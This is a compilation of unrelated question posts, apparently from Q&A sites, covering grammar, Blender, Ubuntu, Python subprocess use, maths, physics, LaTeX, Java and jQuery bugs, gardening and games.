At the beginning of 1807, based on information gathered   from Burr’s correspondence allegedly showing that he had begun preparations for a large-scale   military expedition, the former vice president was arrested in Louisiana and indicted on the charge of      Would someone please affirm the position of to disturb in the passage cited above? Am I right in thinking that it can equally be planted at ♦, as one might in contemporary English?    If correct, what’s this stylistic placement called? Also, what are its advantages or disadvantages? I find it more onerous and less lucid; I had to reread it to determine the infinitive.   Source: page 54 of America on Trial, by Alan Dershowitz


How can i apply a PNG logo on my material?

I have a project with a material I want to add to my sphere. I want to add this logo onto the sphere. I have tried various ways of uv mapping but I keep messing up :/   This is my current material setup:    And here is what I would like to have:     EDIT:  I have now changed my setup like the answer stated, but my material still changes with the PNG, so it becomes black although my material is red  MY SETUP (NEW):  Something (probably a small setting) is stil wrong, but I can't figure it out.


How do I remove/disable the Chrome/Chromium notification-center system indicator?

After upgrading recently, I noticed that when running Chromium, there is a new bell icon in the system indicators area in the upper right. The menu gives the options as such:   Chromium - notifications Do not disturb Do not disturb for one hour Do not disturb for one day   Are these options only available via the system indicators menu, or can I remove this icon from my view, and access the same options somewhere else? How would I go about removing this?


Best way to run shell commands from python

I'm creating a python 3 tool that requires the access of many other preexisting networking tools, and some don't have python libraries. I've tried subprocess.check_output, which works, however, this data is not easy to work with, and I don't believe it supports piping commands like grep or awk if both commands require arguments. I want to be able to, on separate threads, run each command and store the output, as well as stop the output of the command, as I'll be using tools like SSLStrip, ArpSpoof, nmap, and others. that run until terminated.  What's the best way to do this?


How do I set up a Glowing Mushroom farm in Terraria?

I'm aware of the general mechanism of mushroom growing (place some mud and sprinkle mushroom seeds on it). However, I'd like to know a bit more about it before I start building my farm, so I'd appreciate it if anyone could give me the lowdown.  Specifically:   How deep down exactly do I have to go to grow mushroom grass? I've heard "0ft or lower", "when the background changes to dirt with rocks in" and "when the music changes". These all seem to be different points for me, so which is it? Is it maybe different for large/small worlds? Can I place background walls to keep monsters out, or will that stop the grass or the mushrooms from growing? How much vertical space should I give the shrooms? Is it possible for the big tree-like mushrooms to grow, given enough space? Is water required at all?


My basil often spoils after 2- 3 days of purchasing them from the supermarket. I have tried wrapping them in a wet paper towels in order to keep them hydrated, but it doesnt seem to have any effect.  How do you preserve your fresh basil leaves for longer than a few days?


I am having an issue in Ubuntu 16.04 . When I open a window such as a terminal window or the attached file properties window, the window border including the close , minimize etc icons are obscured by colored noise. What could be causing this?  I have lived with this for a while but it's becoming very frustrating. Thanks.


How many organisms have ever lived on Earth?

I've looked for some information on this, but couldn't find anything useful. Has there been any noteworthy attempt to estimate the sum amount of individuals of all species that have ever lived on Earth?


How to evaluate $\lim _{x\to 0}\left(\frac{x\left(\sqrt{3e^x+e^{3x^2}}-2\right)}{4-\left(\cos x+1\right)^2}\right)$?

I have a problem with this limit, I don't know what method to use. I have no idea how to compute it. Can you explain the method and the steps used?  $$\lim _{x\to 0}\left(\frac{x\left(\sqrt{3e^x+e^{3x^2}}-2\right)}{4-\left(\cos x+1\right)^2}\right)$$


I know the second law of Newton says $F=ma$ which seems to me the most fundamental expression of the force. In other words, force cannot exist without a "forced" one. It is somehow a "secondary" being, a relation maybe. In addition, the rate of change of velocity of this forced object and its mass determine the quantity of force being exerted.  If we can define mass with some other terms(if the second law is not the definition of mass), then this will seem to be a good definition of force.  However, why the second derivative of position, why not third or something else? Is this just a case of naming? I mean can we say, "oh yes we have a useful quantity for calculations that is $ma$ and it really resembles intuitively the force concept so let's name it as force and denote it by $F$."


There are quite a few links referring to whether a MacBook GPU is CUDA capable       Apart from the information stated in the above posts, is there even a MacBook capable of running CUDA?  Apple has been supporting Intel Graphics GPUs for quite some time. Is there a possible NVIDIA GPU for Macs to enable CUDA support?  Do the new MacBooks of 2015 (and the possible 2016) come with a CUDA capable GPU?


Does $R[x] \cong S[x]$ imply $R \cong S$?

This is a very simple question but I believe it's nontrivial.  I would like to know if the following is true:      If $R$ and $S$ are rings and $R[x]$ and $S[x]$ are isomorphic as rings, then $R$ and $S$ are isomorphic.    Thanks!  If there isn't a proof (or disproof) of the general result, I would be interested to know if there are particular cases when this claim is true.


I have the following beamer layout. This layout is great but the problem is that when I type math equations, the font is not set to the default font as in the picture. I think some command in the below code makes the font different but I don't know what is that. Please give a way to set math font as default.  \documentclass[11pt]{beamer} \hypersetup{pdfencoding=auto}  \usetheme{Berkeley}  \usepackage{xcolor} \usepackage{amssymb,amsmath,graphicx} \usepackage{kotex} \usepackage{multimedia} \usepackage{setspace} \usepackage{multicol} \usepackage{verbatim} %use   %% Color Setting %% \definecolor{Grey}{rgb}{0.6,0.6,0.6} \definecolor{GSHSred}{RGB}{105,0,0} \definecolor{GSHSRED}{RGB}{80,0,0} \definecolor{gshsred}{RGB}{240,210,210} \setbeamercolor{title}{bg=white,fg=GSHSred} \setbeamercolor{author}{fg=GSHSred} \setbeamercolor{institute}{fg=GSHSred} \setbeamercolor{date}{fg=GSHSred} \setbeamercolor{logo}{bg=GSHSred} \setbeamercolor{sidebar}{bg=GSHSred} \setbeamercolor{frametitle}{bg=white,fg=GSHSred} \setbeamercolor{section in sidebar}{use=sidebar,bg=white,fg=sidebar.bg} \setbeamercolor{subsection in sidebar}{parent=section in sidebar} \setbeamercolor{subsubsection in sidebar}{parent=subsection in sidebar} \setbeamercolor{item}{fg=GSHSred} \setbeamercolor{block title}{bg=GSHSRED,fg=white} \setbeamercolor{block body}{bg=gshsred,fg=black}  %% Frametitle Setting %% %\setbeamerfont{frametitle}{series=\bfseries} \setbeamertemplate{frametitle} { \vspace*{-10mm}   \leavevmode   \hspace*{3pt}   \begin{beamercolorbox}[wd=\paperwidth,ht=1ex,dp=1ex]{frametitle}     \hspace*{7pt}\underline{\makebox[0.6\paperwidth][l]{     \Large{\insertframetitle}}}   \end{beamercolorbox} }   %% Title Page Setting %% \setbeamerfont{title}{series=\bfseries} \setbeamertemplate{title page}{   %% Background Logo   \begin{picture}(0,0)%     \setlength{\unitlength}{1cm}% default     \protect\put(0,0){%     \begin{picture}(6,6)(4,10)%     %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%       %\includegraphics[width=0.4\paperwidth]{./logo/100_01.png}%       \includegraphics[width=0.7\paperwidth]{./logo/gshslogo2.jpg}%     \end{picture}%     }%   \end{picture}%   \vfill   \vspace*{10mm}   \raggedleft   %% Title   \usebeamerfont{title}\usebeamercolor[fg]{title}\inserttitle\par   \vskip 2mm   %% Subtitle   \ifx\insertsubtitle\@empty   \else\usebeamerfont{subtitle}\usebeamercolor[fg]{subtitle}\insertsubtitle   \fi    \vskip 3mm   %% Horizontal line   \usebeamercolor[fg]{title}\hrule height 2pt\hfill   \vskip 10mm   %% Author   \usebeamercolor[fg]{author}\usebeamerfont{author}\insertauthor   \vskip 1cm   %% Institute   \usebeamercolor[fg]{institute}\usebeamerfont{institute}\insertinstitute   \vskip 1cm   %% Date   %\usebeamercolor[fg]{date}\usebeamerfont{date}\insertdate   \vfill }  %% itemize bullet setting %% \setbeamertemplate{itemize items}[ball]  %% block setting %% \setbeamertemplate{blocks}[rounded][shadow=true]


Column Width in Quick Edit or Datasheet View

Is there a way to adjust the column widths or enable text wrapping in the Quick Edit or Datasheet view in SharePoint 2013?  I have seen ways to set widths in the standard list view (using CSS), but these do not seem to be able to change the width in Quick Edit mode.


Error with adding to lists with an Integer variable - Java

Say I have the class:  package school; public class SchClass {     private Student[] students;     private int numStudents = 0;     public SchClass() {      }     public void addStudent(Student s) {         this.students[this.numStudents] = s;         this.amountStudents++;     } }   and I am trying to run this in another class:  import school.SchClass; import school.Student; import school.Tutor; public class JavaTesting {     public static void main(String[] args) {         Student s = new Student();         Tutor t = new Tutor();         SchClass shc = new SchClass();         sch.setTutor(t);         sch.addStudent(s);     } }      When I do this, it reports this NullPointerException:  Exception in thread "main" java.lang.NullPointerException     at school.SchClass.addStudent(SchClass.java:8)     at javatesting.JavaTesting.main(JavaTesting.java:10)   What is wrong? I'm sure I coded this perfect but it still reports an error.


Does anyone know of a free decompiler that can decompile an entire Jar file instead of a single class? I have a problem with sub classes like name$1.class name$2.class name.class


Calculate the display width of a string in Java

How to calculate the length (in pixels) of a string in Java?  Preferable without using Swing.  EDIT: I would like to draw the string using the drawString() in Java2D  and use the length for word wrapping.


Proving the series $\sum_{n=0}^{\infty}\sin(e\pi n!)$ converges

I didn't know how to solve this problem.  How to prove $$\sum_{n=0}^{\infty}\sin(e\pi n!)$$ converges?


I have installed Ubuntu 14.04 on my pre-installed windows 8 Lenovo G580. But after installing Ubuntu, it's Grub doesn't show windows8 in it. Can any one help me. Thank you.


Take a look at this pic. I want only the eyes to glow without the armor glowing too (The armor got a glossy shader). How can I do that?


When I want to update packages of texlive 2015 I get this error? what is the problem?  tlmgr update --list  The locale codeset (cp720) isn't one that perl can decode, stopped at   C:\texlive \2015\tlpkg\tlperl\lib/Encode/Locale.pm line 123. Compilation  failed in require at C:\texlive\2015\tlpkg\tlperl\lib/LWP/UserAgent. pm  line 1001.


When during the casting of a spell with a long casting time do you need the target?

When during a casting of a spell with a long casting time do you actually need the target to be present and valid?  This was brought up because of the question


click() not working on other page of data table

I need to delete user from a mySQL row. My "Delete" button works only on the first page, but when I change page it no longer works, . This is the code I use for delete:  $(document).ready(function() {   $('#large').dataTable({     "sPaginationType": "full_numbers",     "iDisplayLength": 5,     "aoColumnDefs": [{       "bSortable": false,       "aTargets": [-1]     }]   });    $(".lnk").click(function() {     if (confirm("This user will be deleted. Press ok to confirm.")) {       $.ajax({         type: "POST",         url: "deactivate-user.php",         data: {           "user": $(this).attr('id')         },         dataType: 'HTML',         success: function(data) {           if (data == "Error") {             $("#msg").html("Error occured while removing user! Please try after some time.");             $("#msg").addClass("red-box");             $("#msg").css("display", "block");           } else {             $("#msg").html("User has been removed successfully.");             $("#msg").addClass("green-box");             $("#msg").css("display", "block");             $("#main-table").html(data);           }         }       });     }   }); });      <a href="add-credit.php?user=<?php echo $row['user_id']; ?>" name="credit" class="btn btn-primary credit">Credit   <a id="<?php echo $row['user_id']; ?>" class="btn btn-danger lnk">Delete 	    Where is my error?


What are the plataforms/devices Ubuntu touch will run from?

Having been a first day contributor to Edge (shame it didn't get there) I appreciate phones & tablets running Ubuntu is the aim, for next year.  In the meantime, can you please clarify what platform / devices Ubuntu mobile will run on - On top of or side by side with android, or what?   Sorry if this is available elsewhere, but if it is I've missed it, I couldn't find the answer.  I'm interested in writing apps, but would like to try them on real devices and may want to roll out a live app this autumn. Chris


Why did Gregor Clegane do that in Game of Thrones S8E5?

Why did Gregor The Mountain Clegane      kill Qyburn and disobey the queen?   Ok, he wants to fight his brother, but that is not a reason for such an action. He is easily stronger than both of his allies, so he could have just ignored them.  Also, I am not quite sure, why he wants that much to fight his brother really.


Should you disavow for every property in Search Console?

When disavowing links you do so by individual property in Search Console. Most sites will have multiple properties (www / non www / https etc.)  When disavowing, should I upload the same disavow file for every property?


I installed the newest version of blender on my new computer made a scene and tried to render with a camera setup and it just shows up blank. I checked if the camera is turned on for rendering and it is.  Thanks in advance